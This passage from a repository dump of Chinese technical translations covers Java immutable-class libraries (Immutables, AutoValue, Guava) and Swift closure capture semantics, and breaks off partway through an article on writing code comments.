库来生成不可变类：\n\n\n    import org.immutables.value.Value;\n\n    @Value.Immutable public abstract class Decepticon {\n\n      public abstract String name();\n\n      public abstract String fullname();\n\n      public abstract Boolean leader();\n\n      public abstract String group();\n    }\n\n\n\n通过在设置好的 IDE 中添加 **@Immutable** 注释后，Immutables 库便会为该类自动添加不可变拓展。**Immutable[类名]** 将会作为缺省前缀自动添加，不过你也可以自己设置其他的[生成方式](http://immutables.github.io/style.html)。\n\n    ImmutableDecepticon decepticon = ImmutableDecepticon.builder()\n            .name(\"Megatron\")\n            .fullname(\"Megatron Galvatron\")\n            .group(\"Decepticons\")\n            .leader(true)\n            .build();\n\n\n\n以上这个 **Deception** 类将会生成 **280 行的不可变拓展类**，且提供一些非常实用的函数，例如 _copyOf(Deception)_，_toString()_，_hashCode()_，_equals()，以及一个好用且**流畅的**生成器 (builder)。\n\n不仅如此，不可变型还可以声明为**接口**。\n\n这样便可以在接口之间实现多个拓展，以达到仿多重继承的效果：\n\n\n    @Value.Immutable public interface Transformer extends Autobot, Decepticon {\n      // it will generate and fields extended from Autobot and Decepticon\n    }\n\n\n\n还有其他一些有趣实用的特点，例如如果我们不想用生成器模式时，只要通过 **Immutables** 注解那些类变量来标记**构造函数**即可。\n\n\n    import org.immutables.value.Value;\n\n    @Value.Immutable public interface Car {\n\n      enum MotorType {\n        DIESEL,\n        GAS\n      }\n\n      @Value.Parameter String manufacturer();\n\n      @Value.Parameter MotorType motorType();\n    }\n\n    // create instance\n    ImmutableCar car = new ImmutableCar(\"Nissan\", Car.MotorType.GAS);\n\n\n\n更重要的是! **Immutables** 甚至支持 Guava’s 的 _Optional<t>_ 类型!</t>\n\n## AutoValue 库\n\n**AutoValue** 是由 Google 的员工所创建，且是 **Auto** 计划的一部分。它包括了许多 Java 自动生成的源代码，例如 **AutoFactory, AutoService** 和其他一些常用的代码生成工具。\n\n简而言之，你可以**只写抽象类，让 AutoValue 帮你实现它**。\n\n之前同样的例子便可以修改为：\n\n\n    import com.google.auto.value.AutoValue;\n\n    @AutoValue abstract class Autobot {\n\n      abstract String name();\n\n      abstract String fullname();\n\n      abstract Boolean leader();\n\n      abstract String group();\n    }\n\n\n\n编译后，**AutoValue** 就会自动生成一个 **AutoValue_Autobot** 类。\n\n\n\n    AutoValue_Autobot autobot =\n            new AutoValue_Autobot(\"Bumblebee\", \"Bumblebee Autobot\", false, \"Autobot\");\n\n\n\n虽然效果很好，但也应该避免在自己的代码中显示 **AutoValue** 这样的第三方代码库。以下方法可以让代码更简明易懂，且隐藏 API。\n\n\n\n    import com.google.auto.value.AutoValue;\n\n    @AutoValue abstract class Autobot {\n\n      public static Autobot create(String name, String fullname, Boolean leader, String group) {\n        return new AutoValue_Autobot(name, fullname, leader, group);\n      }\n\n      abstract String name();\n\n      abstract String fullname();\n\n      abstract Boolean leader();\n\n      abstract String group();\n    }\n\n\n\n这样的话，创建 _Autobot_ 时便能更好的隐藏 API。\n\n\n\n    Autobot auto = Autobot.create(\"Bumblebee\", \"Bumblebee Autobot\", false, \"Autobot\");\n\n\n\n如同 Immutables 库，当我们查看生成后的类时会发现，它也同样自动生成了 **equals(), toString()** 和 **hashCode()** 函数，甚至还有参数验证。\n\n\n    import com.google.auto.value.AutoValue;\n\n    @AutoValue abstract class Decepticon {\n\n      abstract String name();\n\n      abstract String fullname();\n\n      abstract Boolean leader();\n\n      abstract String group();\n\n      static Builder builder() {\n        return new AutoValue_Decepticon.Builder();\n      }\n\n      @AutoValue.Builder abstract static class Builder {\n        abstract Builder name(String name);\n\n        abstract Builder fullname(String fullname);\n\n        abstract Builder leader(Boolean leader);\n\n        abstract Builder group(String group);\n\n        abstract Decepticon build();\n      }\n    }\n\n\n\n同样，你也可以生成 builder，虽然如果採用 **Immuables** 可能会需要写一点额外的代码，不过你可以对比一下两者的优点来决定採用哪一个。\n\n我个人认为*生成器模式*会让代码更干净易读：\n\n\n    Decepticon decepticon = Decepticon.builder()\n        .name(\"Kakuryu\")\n        .fullname(\"Kakuryu Decepticon\")\n        .leader(false)\n        .group(\"Decepticons\")\n        .build();\n\n\n\nAutoValue的另一个强大功能是它的各种**拓展**，你可以创建一个自己的拓展。本文难以赘述这个功能，但是有很多其他不错的文章你可以参考，例如 Jake’s Wharton 的 [AutoValue Extensions](http://jakewharton.com/auto-value-extensions-ny-android-meetup/).\n\n## Guava\n\n也可以提供许多不可变类的帮助，不同之处在于 **Guava 不会为你生成代码**，它只是提供一些不可变的集合：\n\n*   ImmutableList\n*   ImmutableSet\n*   ImmutableSortedSet\n*   ImmutableMap\n*   ImmutableSortedMap\n*   ImmutableMultiset\n*   ImmutableSortedMultiset\n*   ImmutableMultimap\n*   ImmutableListMultimap\n*   ImmutableSetMultimap\n*   ImmutableBiMap\n*   ImmutableClassToInstanceMap\n*   ImmutableTable\n\nThe usage is based on static classes, iterators and helpers.\n以上都是静态的类、迭代器 (iterator)、或工具类(helper)。\n\n\n\n    public static final ImmutableSet<string> COLOR_NAMES = ImmutableSet.of(\n      \"red\",\n      \"orange\",\n      \"yellow\",\n      \"green\",\n      \"blue\",\n      \"purple\");\n\n      final ImmutableSet<bar> bars = ImmutableSet.copyOf(bars); // 防御性复制!\n\n\n\n如果你对 Guava 有兴趣，可以参考我的一个相关演讲，名为 [“Guava 的简洁代码之道”](https://speakerdeck.com/alexsimo/cleaner-code-with-guava-v2)，它也有示例代码库。\n\n### 相关链接\n\n*   [Google 的 AutoValue](https://github.com/google/auto/blob/master/value/userguide/index.md)\n*   [Google 的 Guava](https://github.com/google/guava)\n*   [Immutables 官方代码库](http://immutables.github.io/i)\n*   [DDD 中值对象的强大用处](https://www.infoq.com/presentations/Value-Objects-Dan-Bergh-Johnsson)\n*   [简即是便](https://www.infoq.com/presentations/Simple-Made-Easy)\n\n"
  },
  {
    "path": "TODO/closure-capture-1.md",
    "content": "> * 原文链接 : [Closures Capture Semantics, Part 1: Catch them all!](http://alisoftware.github.io/swift/closures/2016/07/25/closure-capture-1/)\n* 原文作者 : [Olivier Halligon](http://alisoftware.github.io/about/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) \n* 校对者: [Liz](https://github.com/lizwangying), [Gran](https://github.com/Graning)\n\n# 深入理解 Swift 中闭包的捕捉语义（一）\n\n即使是有 `ARC` 的今天，理解内存管理和对象的生命周期仍旧是非常重要的。当使用闭包的时候是一个特例，它在 `Swift` 中出现的场景越来越多，比起 `Objective` 的代码块的捕获规则有很多不同的捕获语法。让我们看看它们是如果工作的吧。\n\n## 概述\n\n在 `Swift` 中，闭包捕获了他们引用到的变量: 默认情况下，在闭包外申明的变量会被使用这些变量的闭包在内部保留，为了确保他们在闭包被执行的时候仍旧存在。\n\n对于这篇文章的来说，让我们定义一个简单的 `Pokemon` 类，举个例子:\n\n\n\n    class Pokemon: CustomDebugStringConvertible {\n      let name: String\n      init(name: String) {\n        self.name = name\n      }\n      var debugDescription: String { return \"\\(name)>\" }\n      deinit { print(\"\\(self) escaped!\") }\n    }\n\n\n\n让我们声明一个简单的方法，它用闭包作为参数，并且过几秒后（使用 `GCD`）执行这个闭包。通过这个方法，我们用下面的这个例子来看看闭包是如何捕捉外部变量的。\n\n\n\n    func delay(seconds: NSTimeInterval, closure: ()->()) {\n      let time = dispatch_time(DISPATCH_TIME_NOW, Int64(seconds * Double(NSEC_PER_SEC)))\n      dispatch_after(time, dispatch_get_main_queue()) {\n        print(\"🕑\")\n        closure()\n      }\n    }\n\nℹ️️ 在 `Swift 3` 中，上面的方法将会被这样的形式替换改写:\n\n\n    func delay(seconds: Int, closure: ()->()) {\n      let time = DispatchTime.now() + .seconds(seconds)\n      DispatchQueue.main.after(when: time) {\n        print(\"🕑\")\n        closure()\n      }\n    }\n\n## 默认捕捉的语法\n\n现在，让我们开始一个简单的例子:\n\n\n    func demo1() {\n      let pokemon = Pokemon(name: \"Mewtwo\")\n      print(\"before closure: \\(pokemon)\")\n      delay(1) {\n        print(\"inside closure: \\(pokemon)\")\n      }\n      print(\"bye\")\n    }\n\n\n\n这看上去很简单，但是有趣的是，这个闭包会在 `demo1()` 方法函数执行完成后 1 秒后被执行，并且我们已退出了方法函数的作用域... 当然 `Pokemon` 仍然是存在的，当这个代码块在下一个 1 秒后再次被执行的时候！ \n\n\n    before closure: <Pokemon Mewtwo>\n    bye\n    🕑\n    inside closure: <Pokemon Mewtwo>\n    <Pokemon Mewtwo> escaped!\n\n\n\n\n这是因为这个闭包坚定地捕获了这个 `pokemon` 变量: 因为 `Swfit` 的编译器看见了这个被闭包内部引用的 `pokemon` 变量，它便自动的捕获了这个（默认情况下强捕获），所以这个 `pokemon` 是会一直存在的，只要这个闭包也存在。\n\n所以，闭包很像 `精灵球` 😆  只要你保留~~精灵球~~在闭包周围, `pokemon` 变量也会同样在这里，但是当那个~~精灵球~~被释放了，那个被引用的 `pokemon` 变量也会被释放。\n\n在这个例子中，当这个闭包被 `GCD` 执行后，这个闭包自行释放，就是 `Pokemon` 内部的 `init` 方法执行的时候。\n\nℹ️ 如果 `Swift` 并没有自动捕获到这个 `pokemon` 变量，这意味着这个 `pokemon` 必将有时间跳出这个作用域，当调用到 `demo1` 方法的尾端的时候，并且当这个闭包被下一个后 1 秒再次执行的时候，这个 `pokemon` 将不会再存在... 可能会导致一个崩溃。  \n谢天谢地，`Swift` 聪明多了，并且它能为我们捕获到这个 `pokemon`。在之后的文章里，我们能看到，当我们需要他们的时候，怎么去弱捕获这些变量。\n\n## 被捕获到的变量都被执行的时候定值\n\n一个需要注意的至关重要的是，尽管**在 `Swift` 中，被捕获的变量在闭包被执行的时候才被定值**<sup>[1](http://alisoftware.github.io/swift/closures/2016/07/25/closure-capture-1/#fn:block-modifier)</sup>. 我们能说它捕获到了这个变量的_引用_(或者 _指针_)。\n\n所以，这里有一个有趣的例子:\n\n\n\n    func demo2() {\n      var pokemon = Pokemon(name: \"Pikachu\")\n      print(\"before closure: \\(pokemon)\")\n      delay(1) {\n        print(\"inside closure: \\(pokemon)\")\n      }\n      pokemon = Pokemon(name: \"Mewtwo\")\n      print(\"after closure: \\(pokemon)\")\n    }\n\n\n\n你能猜到什么会被打印出来么？这里是答案:\n\n\n    before closure: <Pokemon Pikachu>\n    <Pokemon Pikachu> escaped!\n    after closure: <Pokemon Mewtwo>\n    🕑\n    inside closure: <Pokemon Mewtwo>\n    <Pokemon Mewtwo> escaped!\n\n\n\n\n注意，在创建了闭包_之后_，我们改变了 `pokemon` 对象，当这个闭包在 1 秒之后执行（当我们已经从 `demo2()` 函数方法作用域退出了），我们打印出了一个新的 `pokemon`，并不是先前旧的那个！这是因为，`Swift` 默认捕获到了变量的引用。\n\n所以在这里，我们把 `pokemon` 初始化成 `Pikachu`，之后，我们把它的值改成 `Mewtwo`，所以 `Pikachu` （的引用）被释放了 - 因为再没有其他变量保留它了。1 秒钟之后，这个闭包被执行，并且它打印出了变量 `pokemon` 的内容，它是由闭包通过引用捕获的。\n\n这个闭包并没有捕获 `Pikachu`（这个 `pokemon` 是在闭包创建的时候我们获得的），但更是对 `pokemon` 变量的引用 - 当这个闭包被执行的时候，它现在被定值为`Mewtwo`。\n\n令人奇怪的是，这个在`值类型`中也行得通，例如 `Int`:\n\n\n\n    func demo3() {\n      var value = 42\n      print(\"before closure: \\(value)\")\n      delay(1) {\n        print(\"inside closure: \\(value)\")\n      }\n      value = 1337\n      print(\"after closure: \\(value)\")\n    }\n\n\n\n结果是:\n\n\n\n    before closure: 42\n    after closure: 1337\n    🕑\n    inside closure: 1337\n\n\n\n是的，这个闭包打印出了_新_的 `Int` 的值 - 即使 `Int` 是一个`值类型`! - 因为它捕获了变量的引用，不是变量本身的内容。\n\n## 你能修改在闭包内捕获的值\n\n注意，如果捕获的值是一个 `var` （并不是一个 `let`），你还是可以修改这个值 **在闭包内部**<sup>[2](http://alisoftware.github.io/swift/closures/2016/07/25/closure-capture-1/#fn:objc_block_modify)</sup>.\n\n\n\n    func demo4() {\n      var value = 42\n      print(\"before closure: \\(value)\")\n      delay(1) {\n        print(\"inside closure 1, before change: \\(value)\")\n        value = 1337\n        print(\"inside closure 1, after change: \\(value)\")\n      }\n      delay(2) {\n        print(\"inside closure 2: \\(value)\")\n      }\n    }\n\n\n\n这个代码运行的结果是:\n\n\n    before closure: 42\n    🕑\n    inside closure 1, before change: 42\n    inside closure 1, after change: 1337\n    🕑\n    inside closure 2: 1337\n\n\n\n\n所以在这里，这个 `value` 变量已经从代码块的内部被改变了（即使他被捕获了，他也并不是以一个静态拷贝捕获的，但是仍然引用了同一个变量）。并且第二个代码块看到新的值，即使它在之后被执行 - 并且当第一个代码块已经被释放的时候，它已经离开  `demo4()` 方法函数的作用域了!\n\n## 捕获一个作为一个静态拷贝的变量\n\n如果你想要在闭包**创建**的时候捕获变量的值，而不是仅仅当闭包执行的时候去获取它的定值，你能使用一个**捕获列表**。\n\n**捕获列表**可以被编码在方括号的中间，在闭包开括号的右边（并且在闭包的参数 / 或者有返回值之前）<sup>[3](http://alisoftware.github.io/swift/closures/2016/07/25/closure-capture-1/#fn:in-keyword)</sup>。\n\n为了在闭包创建的时候，捕获变量的值（而不是这个变量本身的引用），你可以使用 `[localVar = varToCapture]` 捕获列表。以下是它大概的样子:\n\n\n\n    func demo5() {\n      var value = 42\n      print(\"before closure: \\(value)\")\n      delay(1) { [constValue = value] in\n        print(\"inside closure: \\(constValue)\")\n      }\n      value = 1337\n      print(\"after closure: \\(value)\")\n    }\n\n\n\n结果会是:\n\n\n    before closure: 42\n    after closure: 1337\n    🕑\n    inside closure: 42\n\n\n\n\n与之前的 `demo3()` 的代码对比，（我们会）发现这个值可以被闭包打印出了... 是 `value` 变量的内容，在闭包被**创建的时候** - 在它被赋值为新的 `1337` 之前 - 即使这个代码块在这个新的赋值_之后_被执行。\n\n这就是 `[constValue = value]` 在闭包里的作用: 当闭包被创建的时候，捕获 `value` 的_值_ - 并且不是这个变量本身被定值之后的引用。\n\n## 回到 `Pokemons`\n\n我们在上面看到的，也意味着，如果这个值是一个引用类型 - 就好像我们的 `Pokemon` 类 - 这个闭包并没有强捕获这个变量的引用，而是捕获到了一个原始实例的副本，在被捕获的时候，包含在 `pokemon` 变量中的。\n\n\n\n    func demo6() {\n      var pokemon = Pokemon(name: \"Pikachu\")\n      print(\"before closure: \\(pokemon)\")\n      delay(1) { [pokemonCopy = pokemon] in\n        print(\"inside closure: \\(pokemonCopy)\")\n      }\n      pokemon = Pokemon(name: \"Mewtwo\")\n      print(\"after closure: \\(pokemon)\")\n    }\n\n\n这就好像，如果我们创建一个中间变量去指向同一个 `pokemon`，并且捕获这个变量:\n\n\n    func demo6_equivalent() {\n      var pokemon = Pokemon(name: \"Pikachu\")\n      print(\"before closure: \\(pokemon)\")\n      // here we create an intermediate variable to hold the instance \n      // pointed by the variable at that point in the code:\n      let pokemonCopy = pokemon\n      delay(1) {\n        print(\"inside closure: \\(pokemonCopy)\")\n      }\n      pokemon = Pokemon(name: \"Mewtwo\")\n      print(\"after closure: \\(pokemon)\")\n    }\n\n\n\n\n_事实上，使用这个捕获列表和上面的代码一样... 除了这个 `pokemonCopy` 的中间变量是闭包的局部变量，并且将只能在闭包内被访问。_\n\n和这个 `demo6()` 对比 - 它使用 `[pokemonCopy = pokemon] in ...` - 而且 `demo2()` - 它并没有，相反直接使用 `pokemon`。`demo6()` 输出了这个: \n\n\n\n    before closure: <Pokemon Pikachu>\n    after closure: <Pokemon Mewtwo>\n    <Pokemon Mewtwo> escaped!\n    🕑\n    inside closure: <Pokemon Pikachu>\n    <Pokemon Pikachu> escaped!\n\n\n\n以下解释了发生了什么:\n\n* `Pikachu` 被创建了；\n* 之后它通过闭包被以一个副本形式捕获（捕获了 `pokemon` 的值）\n* 所以，在后面的几行代码中，我们为 `pokemon` 赋上一个新的值 `Pokemon Mewtwo`，此时 `Pikachu` _恰好_没有被释放，因为它仍被闭包保留着。\n* 当我们从 `demo6` 方法函数作用域中退出，`Mewtwo` 被释放了，因为 `pokemon` 变量本身 - 它是唯一被强引用的 - 离开了作用域。\n* 之后，当这个闭包被执行的时候，它打印出 `“Pikachu”`，因为，它是 `Pokemon` 在闭包被创建时候通过捕获列表捕获到的。\n* 之后这个闭包被 `GCD` 释放，所以这个 `Pikachu Pokemon` 被保留着。\n\n相反，回到上面 `demo2` 的代码: \n\n* `Pikachu` 被创建了；\n* 之后，闭包只是捕获了对 `pokemon` 变量的**引用**，并不是真正的`Pikachu pokemon `变量包含的值。\n* 所以，当 `pokemon` 之后被赋值为一个新的值 `Mewtwo`，`Pikachu`，并且立即被释放了。\n* 但是这个 `pokemon` _变量_ （在那时候，保留了`Mewtwo pokemon `）仍然被闭包强引用着。\n* 所以，这就是 `pokemon` 被打印出的，当闭包在 1 秒之后被执行的时候。\n* 并且那个 `Mewtwo` 仅仅被释放一次，这个闭包之后被 `GCD` 释放了。\n\n## 结合我们之前所有讨论的\n\n所以...... 你全都掌握了么？我知道，我们到此为止已经讨论了很多了......\n\n这是一个更加人为的例子，同时混合了执行时定值和在闭包创建时捕获的值 - 多谢捕获列表 - 和捕获变量的引用，和在闭包执行时定值:\n\n\n\n    func demo7() {\n      var pokemon = Pokemon(name: \"Mew\")\n      print(\"➡️ Initial pokemon is \\(pokemon)\")\n\n      delay(1) { [capturedPokemon = pokemon] in\n        print(\"closure 1 — pokemon captured at creation time: \\(capturedPokemon)\")\n        print(\"closure 1 — variable evaluated at execution time: \\(pokemon)\")\n        pokemon = Pokemon(name: \"Pikachu\")\n        print(\"closure 1 - pokemon has been now set to \\(pokemon)\")\n      }\n\n      pokemon = Pokemon(name: \"Mewtwo\")\n      print(\"🔄 pokemon changed to \\(pokemon)\")\n\n      delay(2) { [capturedPokemon = pokemon] in\n        print(\"closure 2 — pokemon captured at creation time: \\(capturedPokemon)\")\n        print(\"closure 2 — variable evaluated at execution time: \\(pokemon)\")\n        pokemon = Pokemon(name: \"Charizard\")\n        print(\"closure 2 - value has been now set to \\(pokemon)\")\n      }\n    }\n\n\n你还能猜到这个的输出结果么？可能会比较难猜，但是这对你自己尝试去确认输出的内容来说是个非常好的练习，去检查你是否掌握了今天所有的课程......\n\n![drumroll](http://ac-Myg6wSTV.clouddn.com/0c59ce77448794cf9dcc.gif)\n\n好吧，这里就是代码的输出。你是不是正确理解了？\n\n\n    ➡️ Initial pokemon is <Pokemon Mew>\n    🔄 pokemon changed to <Pokemon Mewtwo>\n    🕑\n    closure 1 — pokemon captured at creation time: <Pokemon Mew>\n    closure 1 — variable evaluated at execution time: <Pokemon Mewtwo>\n    closure 1 - pokemon has been now set to <Pokemon Pikachu>\n    <Pokemon Mew> escaped!\n    🕑\n    closure 2 — pokemon captured at creation time: <Pokemon Mewtwo>\n    closure 2 — variable evaluated at execution time: <Pokemon Pikachu>\n    <Pokemon Pikachu> escaped!\n    closure 2 - value has been now set to <Pokemon Charizard>\n    <Pokemon Mewtwo> escaped!\n    <Pokemon Charizard> escaped!\n\n所以，这里发生了什么？变得更加复杂了，让我们一步一步详细道来:\n\n1.  ➡️ `pokemon` 在初始化的时候被设值为 `Mew`\n2. 之后，1 号闭包被创建，并且 `pokemon` 的_值_被捕获成一个新的 `capturedPokemon` 变量 - 它对于闭包来说是一个局部变量（并且 `pokemon` 变量的引用也被捕获了，因为 `capturedPokemon` 和 `pokemon` 同时被闭包的代码使用）\n3.  🔄  之后， `pokemon` 的值被修改为 `Mewtwo`\n4. 之后，2 号闭包被创建，并且 `pokemon`的_值_（那时候还是 `Mewtwo`）被捕获成一个新的 `capturedPokemon` 变量 - 它对于闭包来说是一个局部变量（并且 `pokemon` 变量的引用也被捕获了，因为他们同时被闭包的代码使用）\n5. 现在，`demo8()` 方法函数结束了。\n6.  🕑  1 秒之后, GCD 开始执行第一个闭包(1 号闭包)。\n    * 打印出了这个_值_ `Mew`，它在第 2 步创建闭包的时候被 `capturePokemon` 捕获\n    * 它也会对当前的 `pokemon` 变量定值，通过引用捕获，它仍然是 `Mewtwo`（就和我们在第 5 步退出 `demo8()` 方法函数退出之前一样）\n    * 之后，它把 `pokemon` 变量的值设定为 `Pikachu`（再一次，这个闭包捕获了一个对变量 `pokemon` 的_引用_，所以这个和 `demo8()` 中使用的变量一样，也和其他闭包一样，它为这个变量赋值。）\n    * 当这个闭包完成了执行，并且被 `GCD` 释放，`Mew` 已不再被任何地方保留，所以他需要被释放。但是 `Mewtwo` 仍然被第二个闭包的 `capturedPokemon` 捕获着，并且 `Pikachu` 仍然保存在 `pokemon` 变量中，它也被第二个闭包引用着。\n7.  🕑  另一个 1 秒之后，`GCD` 执行了第二个闭包（2 号闭包）。\n    * 打印出了这个_值_ `Mewtwo`，它在第 4 步创建闭包的时候被 `capturedPokemon` 捕获。\n    * 它也对当前的 `pokemon` 变量定值，通过引用捕获，是 `Pikachu`（因为它已经被 1 号闭包修改过了。）\n    * 最后，它把 `pokemon` 变量的值设定为 `Charizard`，并且这个 `Pikachu pokemon` 只被那个 `pokemon` 变量引用，并且不在被任何人保留，所以它被释放了。\n    * 当这个闭包完成了执行，并且被 `GCD` 释放，这个 `capturedPokemon` 离开了本地的作用域，所以 `Mewtwo` 也被释放了，并且 `pokemon` 变量已经不在被任何人引用，`Charizard pokemon` 也是，所以它也被释放了。\n\n## 总结\n\n仍然对所有的技巧感到困惑么？那很正常。闭包的捕捉语义在某种成都上说是复杂的，特别是上面的那个精心策划的例子。但是请记住下面这几点:\n\n* `Swift` 闭包捕获了一个对外部变量需要在闭包内部使用的一个_引用_。\n* 那个引用在**闭包被执行的时候获得定值**。\n* 作为对这个变量的引用的捕捉（并且不是这个变量自身），**你能从闭包内部修改这个变量的值**（当然，如果这个变量被声明为 `var` 并且不是 `let`）\n* **相反，你能告诉 `Swfit` 在闭包创建的时候对这个变量定值** 并且把这个_值_保存在本地的一个静态变量中，而不是捕获变量本身。你可以通过使用**捕获列表**，在括号内表达。\n\n我会让今天的课程结束，因为它可能很难理解。请不要犹豫去尝试使用和测试这个代码，或者在代码编辑器里修改他们，让自己了清晰的理解所有的东西是怎么运作的。\n\n一旦你更加清晰的理解这些内容，那就是时候开始这个博客的下一部分了，我们将讨论有关_弱_捕获变量，为了防止循环引用，和在闭包中，到底什么是 `[weak self]`，什么是 `[unowned self]`。\n\n_感谢 [@merowing](https://twitter.com/merowing_)，因为和他讨论了在 `Slack` 中所有的这些捕获语义和一些有关闭包被执行时捕获变量并且为它定值的内容！ 你可以访问 [他的博客](http://merowing.info) 😉_\n\n1. 对于知道 `Objective-C` 的读者来说，你们能注意到，`Swift` 表现得和 `Objective-C` 的默认 `block` 语法不同，但是相反，它和在 `Objective-C` 中有 `__block` 修饰符的变量很像。[↩](#fnref:block-modifier)\n\n2. 不像 `ObjC` 默认的表现...，更像是当你正在 `Objective-C` 中使用 `__block` [↩](#fnref:objc_block_modify)\n\n3. 请注意，即使在我们的例子中，我们仅捕获了一个变量，你还是可以在捕获列表中增加多个捕获的变量，这就是为什么它被叫做_列表_。当然，如果你没有列出闭包参数列表，你讲仍就能放置 `in` 这个关键字，在捕获列表去从闭包体内分离他们之后。[↩](#fnref:in-keyword)\n"
  },
  {
    "path": "TODO/code-comments-the-good-the-bad-and-the-ugly.md",
    "content": "> * 原文地址：[Putting comments in code: the good, the bad, and the ugly.](https://medium.freecodecamp.com/code-comments-the-good-the-bad-and-the-ugly-be9cc65fbf83)\n> * 原文作者：本文已获原作者 [Bill Sourour](https://medium.freecodecamp.com/@BillSourour) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [bambooom](https://github.com/bambooom)\n> * 校对者：[zhangqippp](https://github.com/zhangqippp)、[steinliber](https://github.com/steinliber)\n\n# 代码中添加注释之好坏丑\n\n![](https://cdn-images-1.medium.com/max/1000/1*ddM-OL7PF36NZ6QYCa95bQ.jpeg) \n\n题图是克林特 · 伊斯特伍德在《黄金三镖客》中剧照。\n\n\n如果你以前听过这句话就打断我...\n\n> 「好的代码自身就是文档」。\n\n在我 20 多年以写代码为生的经历中，这是我听得最多的一句话。\n\n**陈词滥调**。\n\n像其他许多陈词滥调一样，它的核心是一个真理。但是这个真理已经被滥用，大多数说出这句话的人并不知道它的真正意思。\n\n这句话正确吗？**是的**。\n\n那是不是意味着你不应该给你的代码写注释？**不是**。\n\n本文中，我们将介绍一下给代码写注释的好处、坏处和丑处。（？）\n\n初学者需要了解，实际上有两种不同类型的代码注释，我称之为**文档注释**和**说明性注释**。\n\n### 文档注释 ###\n\n文档注释是为了给任何可能使用你的源代码的人看的，但他们不一定会通读代码。如果你正在构建给其他开发者使用的库或框架，你需要某种形式的 API 文档。\n\n越早从源代码中提取 API 文档，随着时间的推移，文档就越有可能变得过时或不准确。减少这种情况的一个好策略就是直接将文档嵌入代码中，之后再使用工具提取文档。\n\n下面是一个文档注释的例子，来自一个流行的 JavaScript 库，叫做 [Lodash](https://lodash.com)。\n\n```javascript\n/**\n     * Creates an object composed of keys generated from the results of running\n     * each element of `collection` thru `iteratee`. The corresponding value of\n     * each key is the number of times the key was returned by `iteratee`. The\n     * iteratee is invoked with one argument: (value).\n     *\n     * @static\n     * @memberOf _\n     * @since 0.5.0\n     * @category Collection\n     * @param {Array|Object} collection The collection to iterate over.\n     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.\n     * @returns {Object} Returns the composed aggregate object.\n     * @example\n     *\n     * _.countBy([6.1, 4.2, 6.3], Math.floor);\n     * // => { '4': 1, '6': 2 }\n     *\n     * // The `_.property` iteratee shorthand.\n     * _.countBy(['one', 'two', 'three'], 'length');\n     * // => { '3': 2, '5': 1 }\n     */\n    var countBy = createAggregator(function(result, value, key) {\n      if (hasOwnProperty.call(result, key)) {\n        ++result[key];\n      } else {\n        baseAssignValue(result, key, 1);\n      }\n    });\n```\n\n如果你[将这些注释与他们的线上文档做对比](https://lodash.com/docs/#countBy)，你会发现它们完全一致。\n\n如果你开始使用文档注释，则需要确保这些注释遵循一致的标准，并且使它们与其他说明性的注释可以轻易区分开。一些广泛使用、有良好支持的标准和工具包括 JavaScript 的 [JSDoc](http://usejsdoc.org)，dotNet 的 [DocFx](https://github.com/dotnet/docfx)，Java 的 [JavaDoc](http://www.oracle.com/technetwork/java/javase/documentation/index-jsp-135444.html)。\n\n这种注释的缺点就是使你的代码非常「嘈杂」，并使得积极参与维护的人更难阅读代码。好消息是，大多是代码编辑器都支持「代码折叠」的功能，这样就可以折叠这部分注释，专注在代码上。\n\n![](https://cdn-images-1.medium.com/max/800/1*o9d-IZKFtlHf4ycY_n4H2Q.gif) \n\n上图演示在 Visual Studio Code 中折叠注释。\n\n### 说明性注释 ###\n\n说明性注释是给任何可能需要维护、重构或扩展你的代码的人（包括你自己）看的。\n\n通常来说，需要说明性注释的代码散发着一种坏代码的气味，它的出现说明你的代码太复杂了。你应该尽量简化代码并删除这种注释，因为「好的代码自身就是文档」。\n\n以下是一个不好的 —— 虽然很有趣 —— 说明性注释的[例子](http://stackoverflow.com/a/766363)。\n\n```\n/* \n * Replaces with spaces \n * the braces in cases \n * where braces in places \n * cause stasis.\n * (将大括号替换为空格，如果大括号造成停滞)\n**/ \n$str = str_replace(array(\"\\{\",\"\\}\"),\" \",$str);\n```\n\n如果作者不花时间在使用韵脚诗装点这个稍微令人疑惑的代码，肯定可以将代码本身写的更加易读易懂。也许命名一个函数，`removeCurlyBraces` 在另一个函数 `sanitizeInput` 中调用？\n\n不要会错意，的确有不少时候 —— 特别当你正在拼命应对繁重的工作时 —— 注入一些幽默对身心都有好处。但是当你写了一个有趣的注释来修饰不好的代码时，实际上人们不太可能稍后重构或修复代码。\n\n你真的想为掠夺所有未来程序员阅读这首聪明的押韵诗的乐趣而负责吗？大多数的程序员会笑起来，而忽略了这段代码本身的问题。\n\n你也会遇到多余的注释。如果代码已经足够简单明了，就不需要再添加注释了。\n\n比如说，不要做下面这种毫无意义的事：\n\n```\n/*\n将年龄的整数值设为 32\n*/\nint age = 32;\n```\n\n不过，有时候，无论你对代码本身做了什么，一个说明性注释还是需要的。\n\n这通常发生在你需要添加一些上下文解释一个不太直观的解决方法。\n\n以下是一个来自 Lodash 的很好的例子：\n\n```javascript\nfunction addSetEntry(set, value) {   \n  /* \n   不要返回 `set.add`，因为它在 IE 11 中不可链接。\n  */  \n  set.add(value);    \n  return set;  \n}\n```\n\n也有一些情况是 ，在经过很多思考和实验后 ，看上去天真的解决方法事实上是最好的。在这些情况下，其他的程序员会不可避免地认为他们更聪明并开始自己动手实践，最后却发现你的方法是最好的。\n\n有时上面提到的其他程序员就是未来的你。\n\n在这些情况下，最好的做法就是写下注释，节省所有人的时间，避免尴尬。\n\n[以下这个注释](http://stackoverflow.com/a/482129)完美地诠释了这种情况：\n\n```\n/**\n亲爱的维护者：\n\n当你完成了尝试「优化」这部分代码，\n并意识到这是个多么大的错误时，\n请增加下面的计数器以给下一个人警告：\n\n总共在此处浪费的小时数 = 42\n**/\n```\n\n当然，上面的例子更多是有趣，而不是有帮助。但是你**应该**留下注释，警告其他人不要追求一些看似明显的「更好的解决方法」，因为你已经尝试过并否决了。当你这样做的时候，应该明确指出你尝试了哪些方案，为什么否决了这些方案。\n\n以下是一个 JavaScript 中的简单例子：\n\n```javascript\n/* \n不要使用全局 isFinite()，因为它对 null 值会返回 true.\n*/\nNumber.isFinite(value)\n```\n\n### 丑处 